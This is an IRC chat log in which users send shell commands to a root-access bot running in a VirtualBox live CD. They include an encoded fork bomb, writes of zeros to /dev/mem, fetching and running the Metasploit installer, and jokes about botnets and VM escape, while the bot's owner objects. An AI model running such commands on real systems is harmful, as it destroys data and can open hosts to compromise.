b_jonas:STQkBp6OoS3I9dN0nOPYnfLkD1wlziD28sSzFgfuNsg 18:39:09 it works if you /query or msg it 18:39:30 you dont even have to use havocbot: if you query or msg it 18:39:39 havocbot: echo 4m+6MAU3 bJ9qF1UX 18:39:39 b_jonas:4m+6MAU3 bJ9qF1UX 18:40:20 havocbot: (c=Ra3AsMCi; echo MD0NxVx9 ${c:0:4} SwInWdjo 18:40:20 b_jonas:./bashbot-master/bashbot: line 170: (c=Ra3AsMCi;: command not found 18:40:30 havocbot: bash -c (c=Ra3AsMCi; echo MD0NxVx9 ${c:0:4} SwInWdjo) 18:40:31 b_jonas:echo: -c: line 1: syntax error: unexpected end of file 18:40:33 havocbot: bash -c '(c=Ra3AsMCi; echo MD0NxVx9 ${c:0:4} SwInWdjo)' 18:40:33 b_jonas:echo: -c: line 0: unexpected EOF while looking for matching `''/echo: -c: line 1: syntax error: unexpected end of file 18:40:34 havocbot: which emacs 18:40:34 prooftechnique:/usr/bin/emacs 18:40:40 ok wait 18:40:49 I'll have to make a script so I can run any command 18:40:55 a moment 18:41:03 that'll help 18:41:26 maybe lets make /mnt/gentoo/bin a perm path dir to store commands in 18:41:35 havocbot: mkdir /mnt/gentoo/bin 18:41:38 havocbot: emacs --eval="(doctor)" 18:41:39 prooftechnique:emacs: invalid option -- '-'/usage: emacs [-n] [-f mode] [+number] [file ...] 18:41:43 havocbot: pwd 18:41:44 b_jonas:/root 18:41:50 havocbot: echo $PATH 18:41:50 b_jonas:$PATH 18:42:13 havocbot: type perl 18:42:13 b_jonas:perl is /usr/bin/perl 18:42:20 havocbot: ls /mnt/gentoo/bin 18:42:27 havocbot: ls /mnt/gentoo/ 18:42:28 moon__:bin 18:42:36 that bin dir is permnate 18:42:40 it will never be deleted 18:43:16 havocbot: emacs -batch --eval="(doctor)" 18:43:17 prooftechnique:emacs: invalid option -- 'b'/usage: emacs [-n] [-f mode] [+number] [file ...] 18:43:27 havocbot: emacs --batch --eval="(doctor)" 18:43:27 prooftechnique:emacs: invalid option -- '-'/usage: emacs [-n] [-f mode] [+number] [file ...] 18:43:30 that is unless i get rid of the gentoo drive (; 18:43:32 :/ 18:43:42 so please put magical scripts in there 18:44:06 and data in general 18:44:08 havocbot: emacs --version 18:44:08 prooftechnique:emacs: invalid option -- '-'/usage: emacs [-n] [-f mode] [+number] [file ...] 18:44:22 havocbot: is it in the path? 18:44:22 b_jonas:./bashbot-master/bashbot: line 170: is: command not found 18:44:25 um 18:44:29 moon__: is it in the path? 18:44:40 im n good at paths :P 18:44:44 moon__: What have you done to emacs? :| 18:45:00 you can view the path with echo{,$PATH} and nothing 18:45:03 moon__: never mind, we'll find out soon 18:45:07 just a fwe minutes 18:45:22 -!- hwpplayer1 has quit (Quit: Leaving.). 18:45:25 thats the emacs that came with it 18:45:42 It doesn't understand --version :| 18:45:46 :| 18:45:47 idk 18:45:55 "mg — emacs-like text editor" 18:46:11 havocbot: type emacs 18:46:11 prooftechnique:emacs is /usr/bin/emacs 18:46:34 havocbot: man emacs | head 18:46:34 http://man.openbsd.org/OpenBSD-5.6/man1/mg.1 18:46:35 prooftechnique:No manual entry for emacs/No manual entry for |/No manual entry for head 18:46:42 Ah, so it is 18:47:00 Well, that simply won't do 18:47:19 If I can't execute abitrary elisp, what's the point of living? 18:47:20 (slightly surprisingly, googling "[-n] [-f mode] [+number] [file ...]" worked) 18:47:29 BSD license 18:47:31 That's amazing 18:48:21 havocbot: curl -o /mnt/gentoo/bin http://russell2.math.bme.hu/~ambrus/pu/cu 18:48:22 b_jonas: % Total % Received % Xferd Average Speed Time Time Time Current/ Dload Upload Total Spent Left Speed/ 18:48:26 havocbot: which emerge 18:48:26 prooftechnique:which: no emerge in (/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/opt/bin:/usr/i486-pc-linux-gnu/gcc-bin/4.8.4) 18:48:26 google magic 18:48:39 havocbot: cu ZWNobyAiaGVsbG8sIHdvcmxkIg 18:48:40 b_jonas:./bashbot-master/bashbot: line 170: cu: command not found 18:48:45 gentoo lacks emerge for no reason 18:48:48 add that to the path 18:48:51 havocbot: /mnt/gentoo/bin/cu ZWNobyAiaGVsbG8sIHdvcmxkIg 18:48:52 b_jonas:./bashbot-master/bashbot: line 170: /mnt/gentoo/bin/cu: No such file or directory 18:49:04 havocbot: ls /mnt/gento/bin 18:49:05 moon__:ls: cannot access /mnt/gento/bin: No such file or directory 18:49:11 havocbot: curl -o /mnt/gentoo/bin/cu http://russell2.math.bme.hu/~ambrus/pu/cu 18:49:12 b_jonas: % Total % Received % Xferd Average Speed Time Time Time Current/ Dload Upload Total Spent Left Speed/ 18:49:12 duh 18:49:13 havocbot: ls /mnt/gentoo/bin 18:49:13 moon__:cu 18:49:15 havocbot: cu ZWNobyAiaGVsbG8sIHdvcmxkIg 18:49:15 b_jonas:./bashbot-master/bashbot: line 170: cu: command not found 18:49:17 havocbot: ls /usr/bin 18:49:18 prooftechnique:2to3/2to3-2.7/2to3-3.4/[/a2p/a2x/a2x.py/aconnect/acpi_listen/addr2name/alsamixer/alsaucm/amidi/amixer/aoss/aplay/aplaymidi/apm/apmsleep/apropos/arch/arecord/arecordmidi/arpd/asciidoc/asciidoc.py/aseqdump/aseqnet/aserver/avivotool/awk/b2/b43-fwcutter/base64/basename/bashbug/bc/bjam/bzcmp/bzdiff/bzegrep/bzfgrep/bzgrep/bzip2recover/bzless/bzmore/c2ph/c89/c99/c_rehash/cal/calc_tickadj/captest/captoinfo/catchsegv/catman/cha 18:49:19 havocbot: /mnt/gentoo/bin/cu ZWNobyAiaGVsbG8sIHdvcmxkIg 18:49:19 b_jonas:./bashbot-master/bashbot: line 170: /mnt/gentoo/bin/cu: Permission denied 18:49:29 havocbot: chmod -v a+x /mnt/gentoo/bin/cu 18:49:29 b_jonas:mode of '/mnt/gentoo/bin/cu' changed from 0644 (rw-r--r--) to 0755 (rwxr-xr-x) 18:49:32 havocbot: /mnt/gentoo/bin/cu ZWNobyAiaGVsbG8sIHdvcmxkIg 18:49:32 havocbot: ls /usr/bin/emerge 18:49:32 b_jonas:hello, world 18:49:32 prooftechnique:ls: cannot access /usr/bin/emerge: No such file or directory 18:49:47 havocbot: /mnt/gentoo/bin/cu cHdkOyBlY2hvICRQQVRI 18:49:47 b_jonas:/root//usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/opt/bin:/usr/i486-pc-linux-gnu/gcc-bin/4.8.4 18:50:03 havocbot: /mnt/gentoo/bin/cu cHdkOyBlY2hvICIgICIgJFBBVEg 18:50:03 b_jonas:/root/ /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/opt/bin:/usr/i486-pc-linux-gnu/gcc-bin/4.8.4 18:50:10 havocbot: ls /etc/portage 18:50:11 prooftechnique:bin/make.conf/make.conf.catalyst/make.conf.old/make.profile/package.mask/package.use/postsync.d/repo.postsync.d/savedconfig 18:50:14 executes a base64-encoded string with bash by the way 18:50:26 neat 18:50:40 next up: make it user friendly! 18:50:43 moon__: yeop 18:50:58 eg. make another bot that does the base64-encoding and writes to havocbot 18:51:15 ls /usr/sbin 18:51:17 hmm 18:51:20 havocbot: ls /usr/sbin 18:51:20 prooftechnique:accessdb/acpid/addgnupghome/addpart/alsa-info.sh/alsactl/apmd/applygnupgdefaults/backup-tar/backup.sh/biosdecode/build-docbook-catalog/cgdisk/chat/checkarray/chgpasswd/chpasswd/cracklib-check/cracklib-format/cracklib-packer/cracklib-unpacker/crda/create-cracklib-dict/delpart/dmevent_tool/dmidecode/dmraid/dosfsck/dosfslabel/dump-remind/e2freefrag/e4defrag/etc-update/ethtool/exportfs/fatlabel/filefrag/fix_libtool_files.s 18:51:30 moon__: I'll copy it to some directory in the path if possible though 18:51:40 the livecd is locked 18:51:59 surely you can base64 encode a command to add it to the path 18:52:12 moon__: um, but that will persist only in the subshell, so that's pointless 18:52:27 moon__: I'll check first if any of those directories in the path are writable 18:52:28 You can base64 encode a command to write to the profile 18:52:34 ^ 18:52:42 oh, it runs the profile? 18:52:44 no way 18:52:49 I have no idea 18:52:56 well, it could be worth a try 18:52:56 me neither 18:52:58 lol 18:53:01 I don't think so. I tried, but it doesn't seem to work 18:53:08 havocbot: cat .profile 18:53:08 prooftechnique:export PATH=$HOME/bin:$PATH 18:53:16 [wiki] [[User:Qwertyu63]] https://esolangs.org/w/index.php?diff=47190&oldid=47174 * Qwertyu63 * (+1382) 18:53:19 I guess you could write to .bashrc 18:53:27 mhm 18:53:36 havocbot: /mnt/gentoo/bin/cu W91bnQgfCBjdXJsIC1GICdzcHJ1bmdlPTwtJyBodHRwOi8vc3BydW5nZS51cw== 18:53:36 int-e:bash: line 1: $'[\335[\235\b\037\b\030\335\233\b\vQ\210': command not found 18:53:40 doesnt bashrc need a reboot? 18:53:41 prooftechnique: well, worst case is I just copy it to /root and invoke it as ./cu 18:53:50 havocbot: /mnt/gentoo/bin/cu bW91bnQgfCBjdXJsIC1GICdzcHJ1bmdlPTwtJyBodHRwOi8vc3BydW5nZS51cw== 18:53:51 int-e: % Total % Received % Xferd Average Speed Time Time Time Current/ Dload Upload Total Spent Left Speed/ 18:53:58 moon__: Nah, you just have to source it 18:54:02 oh hmm. 18:54:06 ah 18:54:35 it downloaded int-e 18:54:40 havocbot: ls 18:54:40 moon__:CZvHsfqv/HgsSBDzp/bashbot-master/bashbot.config/bashbot.pid/bin/master.zip/rCu7GHCY/train.jpg 18:54:56 i think 18:54:59 havocbot: find / -name emerge 18:54:59 prooftechnique:/mnt/livecd/usr/lib/python-exec/python2.7/emerge//mnt/livecd/usr/lib/python-exec/python3.4/emerge//mnt/livecd/usr/lib/python2.7/site-packages/portage/tests/emerge//mnt/livecd/usr/lib/python3.4/site-packages/portage/tests/emerge 18:55:05 havocbot: /mnt/gentoo/bin/cu SUZTPTo7Zm9yIHAgaW4gJFBBVEg7ZG8gbHMgLWxkICRwO2RvbmU 18:55:05 b_jonas:ls: cannot access /usr/local/sbin: No such file or directory/ls: cannot access /usr/local/bin: No such file or directory/drwxr-xr-x 2 root root 3223 Aug 4 2015 /usr/sbin/drwxr-xr-x 2 root root 11193 Aug 4 2015 /usr/bin/lrwxrwxrwx 1 root root 16 Jun 10 03:05 /sbin -> /mnt/livecd/sbin/lrwxrwxrwx 1 root root 15 Jun 10 03:05 /bin -> /mnt/livecd/bin/ls: cannot access /opt/bin: No such file or directory/ls: cannot access /usr/i 18:55:13 havocbot: curl --version 18:55:14 int-e:curl 7.43.0 (i486-pc-linux-gnu) libcurl/7.43.0 OpenSSL/1.0.1p zlib/1.2.8/Protocols: dict file ftp ftps gopher http https imap imaps pop3 pop3s rtsp smtp smtps telnet tftp /Features: IPv6 Largefile NTLM NTLM_WB SSL libz TLS-SRP UnixSockets 18:55:35 havocbot: find /mnt/gentoo -name emerge 18:55:46 gentoo is just the drive name 18:56:13 shall we try a stage tarball? 18:56:23 havocbot: /mnt/gentoo/bin/cu SUZTPTo7Zm9yIHAgaW4gJFBBVEg7ZG8gaWYgY3AgLXZ0ICIkcCIgL21udC9nZW50b28vYmluL2N1 18:56:23 b_jonas:bash: -c: line 1: syntax error: unexpected end of file 18:56:24 I think it's worth a shot 18:56:28 You should snapshot now 18:56:29 put it in the gentoo drive tho 18:56:39 havocbot: /mnt/gentoo/bin/cu bW91bnQgfCBjdXJsIC1zRiAnc3BydW5nZT08LScgaHR0cDovL3NwcnVuZ2UudXM= 18:56:40 int-e:http://sprunge.us/iALY 18:56:44 havocbot: /mnt/gentoo/bin/cu SUZTPTo7Zm9yIHAgaW4gJFBBVEg7ZG8gaWYgY3AgLXZ0ICIkcCIgL21udC9nZW50b28vYmluL2N1O2VjaG8gIiBzdWNjZXNzICRwIjticmVhaztkb25lO2RvbmU 18:56:49 snapshotting! 18:56:51 b_jonas:bash: -c: line 0: syntax error near unexpected token `done'/bash: -c: line 0: `IFS=:;for p in $PATH;do if cp -vt "$p" /mnt/gentoo/bin/cu;echo " success $p";break;done;done' 18:57:01 dur done 18:57:25 this base64 system really helps actually 18:58:50 moon__: anyway it wasn't downloading, it was posting to sprunge... but apparently that curl is verbose by default 18:59:38 havocbot: /mnt/gentoo/bin/cu SUZTPTo7Zm9yIHAgaW4gJFBBVEg7ZG8gaWYgY3AgLXZ0ICIkcCIgL21udC9nZW50b28vYmluL2N1O2VjaG8gIiBzdWNjZXNzICRwIjticmVhaztkb25lO2RvbmU 18:59:38 b_jonas:bash: -c: line 0: syntax error near unexpected token `done'/bash: -c: line 0: `IFS=:;for p in $PATH;do if cp -vt "$p" /mnt/gentoo/bin/cu;echo " success $p";break;done;done' 18:59:53 havocbot: /mnt/gentoo/bin/cu SUZTPTo7Zm9yIHAgaW4gJFBBVEg7ZG8gaWYgY3AgLXZ0ICIkcCIgL21udC9nZW50b28vYmluL2N1O2VjaG8gIiBzdWNjZXNzICRwIjticmVhaztmaTtkb25l 18:59:53 b_jonas:bash: -c: line 0: syntax error near unexpected token `fi'/bash: -c: line 0: `IFS=:;for p in $PATH;do if cp -vt "$p" /mnt/gentoo/bin/cu;echo " success $p";break;fi;done' 19:00:18 for best results on somehting lon 19:00:20 g 19:00:25 just wget it 19:00:35 havocbot:/mnt/gentoo/bin/cu SUZTPTo7Zm9yIHAgaW4gJFBBVEg7ZG8gaWYgY3AgLXZ0ICIkcCIgL21udC9nZW50b28vYmluL2N1O2VjaG8gIiBzdWNjZXNzICRwIjticmVhaztmaTtkb25l 19:00:46 moon__: yes, but this isn't long 19:00:54 moon__: sorry, I'm just slow because of real life stuff 19:00:59 you have to be patient 19:00:59 oh 19:01:06 so the space is required too? 19:01:14 havocbot: /mnt/gentoo/bin/cu SUZTPTo7Zm9yIHAgaW4gJFBBVEg7ZG8gaWYgY3AgLXZ0ICIkcCIgL21udC9nZW50b28vYmluL2N1O2VjaG8gIiBzdWNjZXNzICRwIjticmVhaztmaTtkb25l 19:01:15 b_jonas:bash: -c: line 0: syntax error near unexpected token `fi'/bash: -c: line 0: `IFS=:;for p in $PATH;do if cp -vt "$p" /mnt/gentoo/bin/cu;echo " success $p";break;fi;done' 19:01:21 oh, dont write to root, by the way 19:01:23 Also, there must be a better way to deal with all this than $@ :| 19:01:25 thats all in memory 19:01:30 I at least want more sensible quote handling 19:01:33 havocbot: cp /mnt/gentoo/bin/cu / 19:01:39 prooftechnique: don't worry, we'll bootstrap one 19:01:42 prooftechnique: just give us time 19:01:46 havocbot: /cu 19:01:50 prooftechnique: it has unrestricted net access, we can upload a new bot 19:02:12 prooftechnique: I might do it, or int-e might, but like I said, real world stuff intervenes 19:02:16 I think we could make the bots fight for dominance over the havocbot personality 19:02:23 yea, im terrible at even necromancy on someone elses bot 19:02:30 so why's that a syntax error? oh missing then 19:02:32 I won't. But may I say that this looks like an insanely stupid idea... 19:02:38 havocbot: /mnt/gentoo/bin/cu SUZTPTo7Zm9yIHAgaW4gJFBBVEg7ZG8gaWYgY3AgLXZ0ICIkcCIgL21udC9nZW50b28vYmluL2N1O3RoZW4gZWNobyAiIHN1Y2Nlc3MgJHAiO2JyZWFrO2ZpO2RvbmU= 19:02:39 b_jonas:cp: failed to access '/usr/local/sbin': No such file or directory/cp: failed to access '/usr/local/bin': No such file or directory/'/mnt/gentoo/bin/cu' -> '/usr/sbin/cu'/cp: cannot create regular file '/usr/sbin/cu': Read-only file system/'/mnt/gentoo/bin/cu' -> '/usr/bin/cu'/cp: cannot create regular file '/usr/bin/cu': Read-only file system/'/mnt/gentoo/bin/cu' -> '/sbin/cu'/cp: cannot create regular file '/sbin/cu': Read-o 19:02:52 int-e: which idea looks like that? 19:03:08 havocbot: /cu ZWNobyBIaQ== 19:03:08 int-e:Hi 19:03:17 running such an unrestricted bot. 19:03:30 its in virtualbox and i host no servers 19:03:30 havocbot: /mnt/gentoo/bin/cu SUZTPTo7Zm9yIHAgaW4gJFBBVEg7ZG8gLWYgIiRwL2N1IiAmJiBscyAtbGQgIiRwL2N1IjtmaTtkb25l 19:03:31 b_jonas:bash: -c: line 0: syntax error near unexpected token `fi'/bash: -c: line 0: `IFS=:;for p in $PATH;do -f "$p/cu" && ls -ld "$p/cu";fi;done' 19:03:35 int-e: I already predicted 30 days from inception to botnet, and that was hedging my bets by a very wide margin 19:03:38 havocbot: /mnt/gentoo/bin/cu SUZTPTo7Zm9yIHAgaW4gJFBBVEg7ZG8gLWYgIiRwL2N1IiAmJiBscyAtbGQgIiRwL2N1Ijtkb25l 19:03:38 b_jonas:bash: -f: command not found/bash: -f: command not found/bash: -f: command not found/bash: -f: command not found/bash: -f: command not found/bash: -f: command not found/bash: -f: command not found/bash: -f: command not found 19:03:48 havocbot: /mnt/gentoo/bin/cu SUZTPTo7Zm9yIHAgaW4gJFBBVEg7ZG8gdGVzdCAtZiAiJHAvY3UiICYmIGxzIC1sZCAiJHAvY3UiO2RvbmU= 19:04:03 int-e: that works too 19:04:06 moon__: the problem is the unrestricted net access 19:04:08 if its broken, i revive from a snapshot of a almost untouched version 19:04:10 um 19:04:15 how so? 19:04:17 hello? 19:04:21 it's open to abuse 19:04:24 oh, that means no 19:04:32 int-e: yep, start to install our botnets 19:04:41 havocbot: /mnt/gentoo/bin/cu SUZTPTo7Zm9yIHAgaW4gJFBBVEg7ZG8gdGVzdCAtZiAiJHAvY3UiICYmIGxzIC1sZCAiJHAvY3UiO2RvbmU7ZWNobyBub3QgZm91bmQ= 19:04:41 b_jonas:not found 19:04:45 pity 19:04:50 generally, i will snapshot back if someone decides to do such a thing 19:05:04 or even just dump the net access 19:05:18 moon__: yes, that's why I STARTED with a universal interpreter 19:05:28 so that everything else becomes easier to bootstrap without net access 19:05:42 havocbot: /mnt/gentoo/bin/cu bHMgLWxGIH4vLio= 19:05:44 b_jonas:-rw-r--r-- 1 root root 113 Aug 4 2015 /root/.bash_profile/-rw-r--r-- 1 root root 221 Aug 4 2015 /root/.bashrc/-rw-r--r-- 1 root root 0 Jul 28 2015 /root/.keep/-rw-r--r-- 1 root root 28 Jun 10 03:39 /root/.profile///root/.:/total 140/-rw-r--r-- 1 root root 48 Jun 10 03:24 CZvHsfqv/-rw-r--r-- 1 root root 62 Jun 10 03:24 HgsSBDzp/drwxr-xr-x 4 root root 140 Jul 23 2012 bashbot-master//-rw-r--r-- 1 root roo 19:05:57 havocbot: /mnt/gentoo/bin/cu bHMgLWxkRiB+Ly4qIHwgdHIgXFxuIFwg 19:06:01 if net access gets out of hand, i will take it off 19:06:12 havocbot: /cu bHMgLWxkRiB+Ly4qIHwgdHIgXFxuIFwg 19:06:18 huh 19:06:26 havocbot: /cu bHMgLWxkRiB+LyogfCB0ciBcXG4gXCA= 19:06:26 please 19:06:36 by putting it in root you are wasting hardware memory 19:06:43 havocbot: /mnt/gentoo/bin/cu bHMgLWxkRiB+Ly4qIHwgdHIgXFxuIFwg 19:06:45 anything in root is directly on the ram 19:06:56 moon__: what? 19:07:03 root is not physical 19:07:06 havocbot: ls -l /mnt/gentoo/bin/cu 19:07:07 b_jonas:-rwxr-xr-x 1 root root 108 Jun 10 04:15 /mnt/gentoo/bin/cu 19:07:12 moon__: ^ it's THAT big 19:07:14 108 bytes 19:07:15 horrible 19:07:29 lol 19:07:42 you have mem left, go ahead 19:07:43 havocbot: /mnt/gentoo/bin/cu bHMgLWxkRiB+Ly4qIHwgdHIgXFxuIFwg 19:08:00 havocbot: /mnt/gentoo/bin/cu ZnJlZQ== 19:08:01 b_jonas: total used free shared buffers cached/Mem: 900880 281268 619612 62412 25540 191768/-/+ buffers/cache: 63960 836920/Swap: 0 0 0 19:08:15 havocbot: /mnt/gentoo/bin/cu ZnJlZSB8IHRyIFxcbiBcIA== 19:08:31 havocbot: /mnt/gentoo/bin/cu Y3AgLXZpIC9tbnQvZ2VudG9vL2Jpbi9jdSAvY3U= 19:08:37 you could write code to cycle through each line 19:08:46 havocbot: /cu ZnJlZSB8IHRyIFxcbiBcIA== 19:08:49 * prooftechnique .oO(wonders if there are any open VirtualBox CVEs) 19:08:49 to make certain outputs easier to read 19:08:58 havocbot: df /mnt/gentoo/bin | tail -1 19:08:58 moon__: sure, we could do that later 19:08:58 int-e:df: invalid option -- '1'/Try 'df --help' for more information. 19:09:01 but first things first 19:09:18 havocbot: /mnt/gentoo/bin/cu Y3AgLXZpIC9tbnQvZ2VudG9vL2Jpbi9jdSAvY3U= 19:09:24 hallo? 19:09:27 what's wrong? 19:09:33 havocbot: /mnt/gentoo/bin/cu ZGYgL21udC9nZW50b28vYmluIHwgdGFpbCAtMQ== 19:09:34 int-e:tmpfs 450440 62012 388428 14% / 19:09:35 nothing 19:09:40 havocbot: /mnt/gentoo/bin/cu ZWNobywgaGk= 19:09:42 thought so. 19:09:49 havocbot: /mnt/gentoo/bin/cu ZWNobyBoaQ== 19:09:49 b_jonas:hi 19:10:01 moon__: as you can see, putting it in / is no worse than putting it in /mnt/gentoo/bin 19:10:13 true 19:10:14 lol 19:10:16 havocbot: /mnt/gentoo/bin/cu ZWNobyBoaQ==havocbot: /mnt/gentoo/bin/cu Y3AgLXZmIC9tbnQvZ2VudG9vL2Jpbi9jdSAvY3U= 19:10:16 b_jonas:bash: -c: line 0: syntax error near unexpected token `)'/bash: -c: line 0: `echo hiþiíþ§¶Š?n)ÿrcp -vf /mnt/gentoo/bin/cu /cu' 19:10:25 havocbot: /mnt/gentoo/bin/cu Y3AgLXZmIC9tbnQvZ2VudG9vL2Jpbi9jdSAvY3U= 19:10:25 b_jonas:'/mnt/gentoo/bin/cu' -> '/cu' 19:10:26 ouch 19:10:33 decoding errors 19:10:38 havocbot: /mnt/gentoo/bin/cu ZnJlZQ== 19:10:38 b_jonas: total used free shared buffers cached/Mem: 900880 281912 618968 62412 25592 191892/-/+ buffers/cache: 64428 836452/Swap: 0 0 0 19:10:57 dynamic drive 19:11:07 ok, now let's make it one more convenient, by redirecting stderr to stdout, transliterating newlines to spaces, and adding "No output." if there's no output 19:11:10 look also at the mounts: http://sprunge.us/iALY ... anything writeable seems to be a tmpfs. 19:11:12 if im reading that correctly, thats the explination 19:11:17 stderr goes to stdout 19:11:19 already 19:12:05 the bot redirects it 19:12:11 havocbot: bash -c echo{$LANG,$LC_ALL} 19:12:17 moon__: stdyay goes to stdout too 19:12:58 moon__: and if you're worried about the RAM, then we could create a swap file somewhere 19:12:58 and attach it 19:12:58 with mkswap and swapon 19:12:58 moon__: where should we put the large files? 19:13:00 prooftechnique:echo 19:13:14 in mnt/gentoo 19:13:17 havocbot: bash -c echo{,$LC_CTYPE} 19:13:27 thats where large files go 19:13:30 Yay! A new baut~ 19:13:31 *! 19:13:34 Whatsit do? 19:13:41 gentoo bot 19:13:42 it breaks the internet 19:13:49 Slow down suddenly, apparently 19:13:52 internet access and root 19:14:13 it crashed 19:14:18 moon__: it doesn't 19:14:19 at least so it seemed to me 19:14:19 oh wait 19:14:19 it does 19:14:20 But wacky command handling, so it took like half an hour to fork bomb it to death 19:14:20 ok, then just transliterate the newlines to spaces or something 19:14:21 or let's just upload a better irc bot 19:14:22 -!- havocbot has quit (Remote host closed the connection). 19:14:31 -!- havocbot has joined. 19:14:32 Because I'm not clever 19:14:46 newlines already go to spaces b_jonas 19:14:50 -!- hwpplayer1 has joined. 19:15:27 snapshotted 19:15:51 current system state can now be recovered 19:15:52 -!- cnr has quit (Ping timeout: 244 seconds). 19:15:59 -!- cnr has joined. 19:15:59 -!- cnr has quit (Changing host). 19:15:59 -!- cnr has joined. 19:16:02 havocbot: /mnt/gentoo/bin/cu bHMgfCB0ciBcXG4gXCA= 19:16:02 wait, you brought it down? 19:16:02 havocbot: /cu bHMgfCB0ciBcXG4gXCA= 19:16:08 moon__: ? 19:16:08 no 19:16:13 havocbot: ls 19:16:13 moon__:CZvHsfqv/HgsSBDzp/bashbot-master/bashbot.config/bashbot.pid/bin/master.zip/rCu7GHCY/train.jpg 19:16:15 havocbot: which cu 19:16:16 prooftechnique:which: no cu in (/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/opt/bin:/usr/i486-pc-linux-gnu/gcc-bin/4.8.4) 19:16:19 still fast 19:16:50 havocbot: which perl 19:16:50 int-e:/usr/bin/perl 19:16:52 prooftechnique: /cu 19:17:01 havocbot: /cu bHMgfCB0ciBcXG4gXCA= 19:17:14 have we fork bombed the thing? 19:17:17 n 19:17:18 no 19:17:23 int-e: First thing I did 19:17:26 0.5-1 cpu 19:17:29 havocbot: cat fork.sh 19:17:29 prooftechnique:cat: fork.sh: No such file or directory 19:17:40 its gone missing (= 19:17:41 Oh, but it didn't get snapshotted, for obvious reasons 19:17:58 yea 19:18:00 havocbot: perl -r 'fork while fork' & 19:18:01 prooftechnique:Unrecognized switch: -r (-h will show valid options). 19:18:15 DO YOUWANT ME TO FLAY YOU ALIVE? 19:18:16 havocbot: perl -e 'fork while fork' & 19:18:16 prooftechnique:Can't find string terminator "'" anywhere before EOF at -e line 1. 19:18:23 I knew it wasn't gonna work :P 19:18:29 Your string handling is bizarre 19:18:35 havocbot: /cu OigpeyA6fDo7fTs6 19:18:37 its not my fault 19:18:44 its "$cmd" "$@" 's fault 19:18:51 havocbot: /cu dW5hbWUgLWE= 19:19:03 havocbot: file /cu 19:19:18 prooftechnique: don't worry, we can just upload a new irc bot 19:19:19 I think it's busy. 19:19:23 Have we properly install Gentoo, yet? 19:19:26 *installed 19:19:29 prooftechnique: no idea 19:19:32 you bombed it 19:19:33 no 19:19:35 livecd 19:19:40 -!- havocbot has quit (Read error: Connection reset by peer). 19:19:40 prooftechnique: we have root, we can install anything 19:19:58 *flays prooftechnique and prepares the ignore list, as he broke his promise* 19:20:02 I just think portage would make our lives easier in the quest to fuck up this bot 19:20:09 What, I did no such thing 19:20:12 The perl didn't even work 19:20:38 apparently it did 19:20:47 assumptions, assumptions. 19:20:55 prooftechnique: you can curl then chmod anything 19:20:59 that's how I created cu 19:21:06 restoring 19:21:27 now, can i flay you alive prooftechnique? 19:21:35 moon__: If it gave me that error message, it didn't work, moon__ 19:21:41 *-moon__ 19:21:48 Too many moons 19:22:01 eheheheh 19:22:14 -!- havocbot has joined. 19:22:31 havocbot: file /cu 19:22:32 int-e:/cu: Perl script, ASCII text executable 19:22:37 havocbot: sleep 86400 19:22:45 havocbot: ls 19:22:45 moon__:CZvHsfqv/HgsSBDzp/bashbot-master/bashbot.config/bashbot.pid/bin/master.zip/rCu7GHCY/train.jpg 19:22:46 havocbot: echo Hi 19:22:46 int-e:Hi 19:22:48 havocbot: echo hiya 19:22:48 nice try 19:22:48 prooftechnique:hiya 19:23:00 havocbot: ps | grep sleep 19:23:00 int-e:error: garbage option//Usage:/ ps [options]// Try 'ps --help '/ or 'ps --help '/ for additional help text.//For more details see ps(1). 19:23:02 subshells rock 19:23:27 havocbot: which grep 19:23:28 prooftechnique:/bin/grep 19:23:32 havocbot: /cu cHMgfCBncmVwIHNsZWVw 19:23:33 int-e:14838 tty1 00:00:00 sleep 19:23:34 but sometimes they cause my bot to fall like a rock -.- 19:23:35 Well, at least it has grep, now 19:23:56 the livecd always had it 19:24:51 how else do you kill a linux system, hmm 19:24:56 ... 19:24:57 dont 19:25:07 or i will make a ignore list 19:25:17 Next steps are escaping the VM and touching moon__'s precious files 19:25:33 havocbot: dd if=/dev/zero of=/dev/mem 19:25:46 i never gave it external perms 19:25:57 havocbot: echo Hi 19:26:00 so that will be kinda hard :P 19:26:05 ill prepare a landing pad 19:26:07 thought so :P 19:26:10 full of cuss words 19:26:13 moon__: I'm willing to bet there's an open CVE that doesn't care what you set :D 19:27:04 funfact: none exist for the latest version as of now 19:27:36 havocbot: uname -a 19:27:57 critical error occured 19:28:05 havocbot: which uname 19:28:22 -!- havocbot has quit (Remote host closed the connection). 19:28:25 I believe that may be down to int-e's dd 19:28:27 RESOTRING 19:28:59 prooftechnique: I had never tried that command before ;) 19:29:35 please dont do it again 19:29:54 but it should, eventually, scrub the memory of something important... kernel, init, process tables, or some page tables, who knows. 19:30:00 until you all stop the antics, no snapshots 19:30:00 -!- havocbot has joined. 19:30:04 This bot is so spammy. 19:30:15 because everyone is spamming :P 19:30:30 havocbot: wget -O msfinstall https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb 19:30:37 its just re- no 19:30:38 prooftechnique:--2016-06-10 04:43:33-- https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb/Resolving raw.githubusercontent.com... 23.235.40.133/Connecting to raw.githubusercontent.com|23.235.40.133|:443... connected./HTTP request sent, awaiting response... 200 OK/Length: 5394 (5.3K) [text/plain]/Saving to: 'msfinstall'// 0K ..... 19:30:49 havocbot: rm -f msfinstall 19:30:57 havocbot: ls 19:30:59 rude 19:31:05 No 19:31:08 Just no 19:31:12 moon__:CZvHsfqv/HgsSBDzp/bashbot-master/bashbot.config/bashbot.pid/bin/master.zip/rCu7GHCY/train.jpg 19:31:22 ill happily cut the network access 19:31:30 havocbot: cat /dev/zero > /dev/mem 19:31:44 failed 19:31:46 havocbot: /cu Y3VybCBodHRwczovL3Jhdy5naXRodWJ1c2VyY29udGVudC5jb20vcmFwaWQ3L21ldGFzcGxvaXQtb21uaWJ1cy9tYXN0ZXIvY29uZmlnL3RlbXBsYXRlcy9tZXRhc3Bsb2l0LWZyYW1ld29yay13cmFwcGVycy9tc2Z1cGRhdGUuZXJiID4gbXNmaW5zdGFsbCAmJiBcDQogIGNobW9kIDc1NSBtc2ZpbnN0YWxsICYmIFwNCiAgLi9tc2ZpbnN0YWxs 19:31:47 havocbot: ls 19:31:47 